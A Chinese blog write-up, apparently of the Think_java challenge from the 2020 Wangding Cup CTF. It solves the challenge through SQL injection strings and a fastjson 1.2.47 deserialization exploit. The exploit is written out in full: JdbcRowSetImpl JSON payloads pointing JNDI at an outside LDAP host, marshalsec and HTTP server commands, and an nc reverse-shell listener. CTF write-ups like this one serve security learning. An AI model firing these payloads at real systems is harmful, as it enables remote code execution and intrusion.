网站首页 > java教程 正文
2020结束的网鼎杯比赛,一题Think_java大多数师傅都是用的自己构造的java反序列化来做的。正好当时用fastjson写出来了。
近些天也在挖洞,对于很多json传输的数据也会尝试一下fastjson的payload。
那就正好一起来看当时如何利用fastjson的,应该是个非预期吧,其实这个虽然说是ctf题目,但环境属实和实战没有区别,swagger-ui.html的fastjson。
之前看过fastjson作者的一篇文章,阿里的一个大佬,能够独立完成一个框架属实真的tql,fastjson连续好几年都被爆出漏洞,作者也是春节也忙着修复,可能这就是一份乐趣和成就感吧。
0x01:写在前面
拿到题目后,一开始通过审计代码发现代码
审计发现一个注入,dbname我们可控
尝试注入
dbName=myapp#' and 1=2 union select name from myapp.user;#
dbName=myapp#' and 1=2 union select pwd from myapp.user;#
注入处账户密码留作备用(后面思路转变为exp后发现 上面账号密码没有用)
admin
admin@Rrrr_ctf_asde
然后经过逆向注意到导入了
io.swagger.annotations.ApiOperation;
发现是个swagger
Swagger在平时日常工作中用过是个优秀的文档编辑器
那么直接访问swagger-ui.html
这里想到swagger还有fastjson库 可以将java对象转换成json
19年爆出很多rce漏洞。尝试进行查看
网上查询fastjson得知存在rce漏洞
这个文章真的写的非常详细,可以说是手把手教学
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
看到如下
这里很符合fastjson的反序列化漏洞 的json格式
访问得知如下
按着一步一步操作来,首先准备云服务器,并将仓库文件上传到云服务器中。
上传成功以后进行如下操作
首先进行测试
云服务器监听7777端口
在靶场执行
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:7777/Exploit","autoCommit":true}}}
发现有流量回显
那就继续按照文档往下做。
Cd进去进行查看
修改exploit.java的ip为云服务器ip
Javac Exploit.java编译执行后得到Exploit.class
继续进行按照如下步骤继续执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://121.36.19.222/#Exploit
执行成功如下所示,进行监听本地端口1389
python -m SimpleHTTPServer 80
Nc 监听本地的8888端口
提交payload
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:1389/Exploit","autoCommit":true}}}
执行后成功
成功弹到shell ,
执行cat /flag可以得到如下flag
0x02:总结
日常实战中,喜欢burp带上fastjson的检测脚本,遇到可疑的就发包检测一下。显示有漏洞就尝试payload打一下dnslog试试回显,再进一步进行深挖。
猜你喜欢
- 2024-12-01 fastjson 发布关于“反序列化远程代码执行漏洞”的安全公告
- 2024-12-01 PHP反序列化知识点总结
- 2024-12-01 漏洞预警|Apache Dubbo 存在反序列化漏洞
- 2024-12-01 PayPal严重漏洞可通过不安全的JAVA反序列化对象
- 2024-12-01 Apache Dubbo 被曝出“高危”远程代码执行漏洞
- 2024-12-01 序列化与反序列化——FastJSON、Jackson、Gson性能测试
- 2024-12-01 漏洞预警|Apache MINA SSHD反序列化漏洞
- 2024-12-01 【预警通报】关于WebLogicT3存在反序列化高危漏洞的预警通报
- 2024-12-01 攻防论道 | Apache Shiro反序列化漏洞检测
- 2024-12-01 Fastjson全版本远程代码执行漏洞曝光,降维发布预警
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- java反编译工具 (77)
- java反射 (57)
- java接口 (61)
- java随机数 (63)
- java7下载 (59)
- java数据结构 (61)
- java 三目运算符 (65)
- java对象转map (63)
- Java继承 (69)
- java字符串替换 (60)
- 快速排序java (59)
- java并发编程 (58)
- java api文档 (60)
- centos安装java (57)
- java调用webservice接口 (61)
- java深拷贝 (61)
- 工厂模式java (59)
- java代理模式 (59)
- java.lang (57)
- java连接mysql数据库 (67)
- java重载 (68)
- java 循环语句 (66)
- java反序列化 (58)
- java时间函数 (60)
- java是值传递还是引用传递 (62)
本文暂时没有评论,来添加一个吧(●'◡'●)